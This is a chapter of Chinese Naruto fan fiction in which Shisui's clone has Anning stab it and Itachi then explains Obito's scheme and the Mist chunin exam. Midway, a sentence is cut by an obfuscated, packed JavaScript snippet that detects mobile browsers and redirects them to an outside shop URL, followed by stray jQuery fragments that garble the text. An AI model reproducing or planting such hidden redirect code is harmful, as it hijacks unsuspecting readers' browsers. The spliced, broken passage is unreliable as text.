36.为了谁

作品:《[火影]N个宇智波竞争当我食物

    几个小时后,门外传来了敲门声。


    两人都没有睡着,羽月安宁只是假寐,止水更是毫无睡意。


    “是鼬。”


    窗帘只是遮住了光线,现在其实估计也才傍晚,鼬来的时间算是相当体贴了。


    羽月安宁想要起身,却发现止水纹丝不动,“我叫鼬来的,我有话要和他说。”


    止水盖住她的眼睛,感受着掌心纤长睫毛的拂动。


    “为什么不让我睁眼?”


    “再陪我几分钟吧,不会耽误你和鼬很久的。”


    被黑暗笼罩的世界里,其它感官的存在感变得无比强烈,止水半抬起身从床头柜捞了个什么东西,听声音应该是金属质地的,这个东西被止水塞到了她手中。


    止水引导着她的手放在合适的位置上,她立刻知道了这是个什么东西——一柄苦无。


    尖锐危险的武器被她握在手中,止水还在引着她继续动作,她有种不祥的预感。


    在即将进入皮肉的一瞬,羽月安宁终于发力,让苦无停住。


    她咬住下唇:“...你要做什么?”


    “安宁,刺下来,别停。”


    她不用思考就能判断,这是心脏的位置。


    “止水,你真是个疯狂的混蛋。”


    他笑出声来,好像听到了什么夸赞。


    “我只是鸦分身,真正的止水还在土之国边境执行任务。今天见到的、触碰到的可爱的、会纵容我的安宁太美好了,虽然很不想让本体感受到我的幸福,但是炫耀一下其实也不错。”


    “知道你会不忍心,所以我打算自己来。”


    羽月安宁深呼吸,一字一句道:“你这叫自己来?这是强迫杀人。”


    止水在她的额头上印下一吻,笑道:“真可爱,我可不算真人,即使本体在这里,被捅一下心脏也一定觉得无所谓。”


    “好了,再等下去鼬就该生气了,安宁再见,一定要想我。”


    她心中突然有些无力,放任止水行动,伴随着刺入血肉的阻塞感,他整个人的气息在房间内消失。


    羽月安宁睁开眼,看着手中的苦无沉默了几秒,而后扬声道:“鼬,麻烦等我一小会,马上就好。”


    打开门时,看到的便是鼬那张含着些愧意的清丽的脸。


    如同佐助的突然到来一样,她有些不太好的预感。


    “安宁小姐...抱歉打扰到你了。”


    她让开身子,“没关系,进来吧。”


    鼬还是站在原地不动,甚至有些尴尬,如同止水能感知到来人是鼬,鼬自然也能知道刚才止水同她共处一室。


    他和安宁睡在同一张床上的吗?他们有亲密无间的聊天吗?


    这些特别私密的问题鼬并不想刻意去想,但是它们不受控制的一个个在他的脑子中往外冒。


    安宁和他进行那场关于止水究竟为何痛苦的谈话之后,他就知道他们之间的关系一定会发生变化。


    鼬一度担心会往糟糕的方向发展,但看起来更亲密了啊。


    “鼬?”


    “我走神了。”


    他依旧保持着优雅的涵养,低垂着视线目不斜视走到桌前,却在不小心瞟到的特殊的苦无上停留了一秒,而后看向被轻纱遮住的雾气迷蒙的窗外。


    苦无是特制的,柄上有着止水的万花筒图案。


    安宁走过去拉开窗帘,她显然有些懊恼和迷茫,还有些不知道如何是好的犹豫,这种表情在她脸上很少出现。


    “鼬…我想和你聊聊佐助。”


    “佐助发生什么了吗?”


    鼬的脑海中闪回着安宁和佐助的所有相处,他们只见过一面,除了简短的礼节性对话之外没有其它交流,也没有任何特殊之处。


    除了去根部基地路上,她突如其来却又猝然而止的询问:如果未来佐助生活的很不好…


    “在温泉旅馆的那晚,未来的佐助出现在我面前,他伤的非常严重。他和我说了一句话:不要相信宇智波带土,不要加入晓,不要复活…斑。”


    平静说完,安宁忽然感觉到一阵冷意。


    她去看窗户,却想起来她只拉开了窗帘,窗户本就闭合,这下连欺骗自己的借口都没有,她在不安。


    鼬沉默了很久,他试图把大脑里错综凌乱的线条理顺,半响才吐露:“原来是这样啊。”


    原来不是活着的不是「宇智波斑」,而是「宇智波带土」。


    “什么?”羽月安宁忍不住愕然,“等等,你就这么相信了吗?”


    没有见到未来的佐助,也没有任何可以充当证据的东西,她说出来都觉得荒唐、荒诞的话,鼬竟然就这么信了。


    鼬的眼神突然挣扎了起来。


    “安宁,很抱歉,我之前瞒着你一件事,一件和佐助说的话有关联的一件事......”


    “当时除了团藏的逼迫,还有一个神秘人和我联系,说愿意帮助我执行灭族任务。”


    鼬的表情有些痛苦,她忍不住牵住他的手,希望鼬能从她的行为中获得了一些力量,或许是她在从鼬那里汲取力量也说不定。


    果不其然他看起来好了一些。


    “那个神秘人说他是宇智波斑。”


    “什么?”


    “不可能,绝对不可能,斑已经死了。”


    鼬说:“现在我知道了,那个人不是宇智波斑,而是假借斑之名的宇智波带土。”


    她感觉自己现在的脸色可能比鼬还要差,无法熄灭的怒火在身体内部燃烧,她咬牙切实道:“竟然敢假冒斑,还做出这样侮辱斑的行为,我会让他付出代价的。”


    安宁的手掌被握紧,她低头去看两人紧握的双手,鼬在试图用自己的体温让她感受到温暖,哪怕只有一点点也好。


    她能感受到鼬的担心。


    “所以,真的很抱歉,瞒了你这么久。”


    “没关系。”


    羽月安宁叹息,她不会对鼬生气,她也没有生气的资格。


    他们的第一次相遇是因为止水,那个时候鼬没有必要也没有机会向她说这些。


    而第二次单独呆在一起的氛围...她想到自己哭的不可自抑的样子,她确实提到了斑,但她言语中对斑那种在乎,怕是反而给了鼬压力。


    如果不是因为这个契机,鼬在查清楚一切之前恐怕会把这件事瞒得死死的。


    鼬继续说:“佐助说的是对的。”


    “那个人曾经对我提起一个叫做晓的组织,我一个人能力有限,只能查到那个组织和雨之国有着千丝万缕的联系,但是针对那个人的线索,却在隐隐指向水之国。”


    能力有限?


    这要是能力有限,世界上除了寥寥几个人,其他人怕不都是废物了。


    杀掉团藏之后,鼬一直在高强度被宇智波和木叶监视,还有暗部和审讯部对他开展的调查。


    看着鼬冷静而略带担忧的目光,羽月安宁再次打破了对鼬天才程度的认可,他的能力和心智,这真的还是人类吗?


    “而且我觉得这次中忍考试的时机有问题。”


    安宁问道:“为什么这么说?”


    “进行了多年封闭的水之国即使有要结束封闭的意思,为何第一时间不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040648|191845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是和其他大国开展外交,而是协调举办了这次中忍考试?”


    安宁接话:“没有实力就没有外交。通过中忍考试来向其他国家证明雾隐村的战力依旧强劲,比其他所有方式更能让人重视水之国的地位。”


    鼬点头,“三代目也是这么认为的,我最初也是同样的想法。”


    “是否参加中忍考试由各个国家的影来确定,发生团藏的事情之后,三代目选择了全面封锁消息。”


    “他想要优先处理内部矛盾,收到信函时本不打算让任何人参加中忍考试。”


    鼬的话语一转,“安宁你有注意到雾忍村登记册上的忍者名单吗?”


    羽月安宁呆呆的摇头。


    他无奈的笑了一声,“没有注意到也很正常,实力强大的人不会在意蝼蚁。我本就有所怀疑,所以特意看了一下。”


    “在我们之前的只有土之国岩忍的一个小队、雷之国云忍的两个小队,再之后就是木叶。”


    “三代目做下决定耽误了很多时间,以至于我们一路奔波也只提前了一天赶到。这些来的人应当和我们的目的一样,多半是为了获取情报。”


    她认可鼬的判断。


    “但三代最后选择让我们来的主要原因并不是为了探明水之国内部情形,而是因为根。”


    “——为了巫女。”


    鼬的言语和她的尾音几乎同步落地。


    认真分析的鼬浑身简直像是发着光,他的身体没有任何多余的小动作,于是冷淡透彻却带着些厌倦的眼神,和无比笃定、不容质疑的话语就格外引人瞩目,整个人简直是魅力的化身。


    她必须要承认,鼬是能带给她安心的存在。


    他还在娓娓道来:“就在不久前,暗部突然查到团藏向巫女发布的一系列任务记录:废弃水之国的情报点向土之国转移重建边境情报线,以及杀掉一个叛忍。”


    “巧的是,这个叛忍的照片和她曾经的养子药师兜一模一样。”


    “药师兜同样作为间谍在各国周旋,同样接到了类似的任务:去土之国边境杀掉一个叛忍,附送的照片上是巫女药师野乃宇。”


    即使团藏已经死了,羽月安宁依旧感到了无比的恶心。


    又是自相残杀,上一次想逼迫的是鼬和宇智波一族,这一次是巫女和她的养子。


    “还真是...该死的人渣。”


    安宁脸上的厌恶如此清晰可见,鼬忍不住在心底叹息。


    “三代目要安抚在外残余根部,不能让他们泄露木叶的机密,也不能增加熟悉木叶的敌人,所以需要和巫女达成协议。借由她对根部整个情报网的控制来更加快速的达成目的。”


    安宁感叹:“所以我们必须来,也只能是我们来。想要获得长久在阴谋和谎言中翻云覆雨的巫女帮助,必须要展现出绝对的真心和真诚。”


    “除了我们这两个杀了团藏的同谋,再无其他人能得到巫女的信任。”


    “同谋”两个字不知道让鼬联想到什么,笑着点头。他的眼睛像是化冰的湖,闪烁着细碎的光辉,美丽而神秘。


    然后羽月安宁愣了几秒,她将一切串起来,“水之国举办中忍考试、三代恰巧发现了团藏的命令最终导致我们必须来水之国,所以鼬你的意思是有人专门引我们来水之国?”


    安宁喃喃道:“怎么可能,这有可能只是个意外,怎么说都有点牵强了吧。”


    鼬摇摇头。


    “太多凑巧了。”


    “我之前也不敢确定,但结合佐助说的话,就是宇智波带土想要见我们。”


    “或者说,见你。”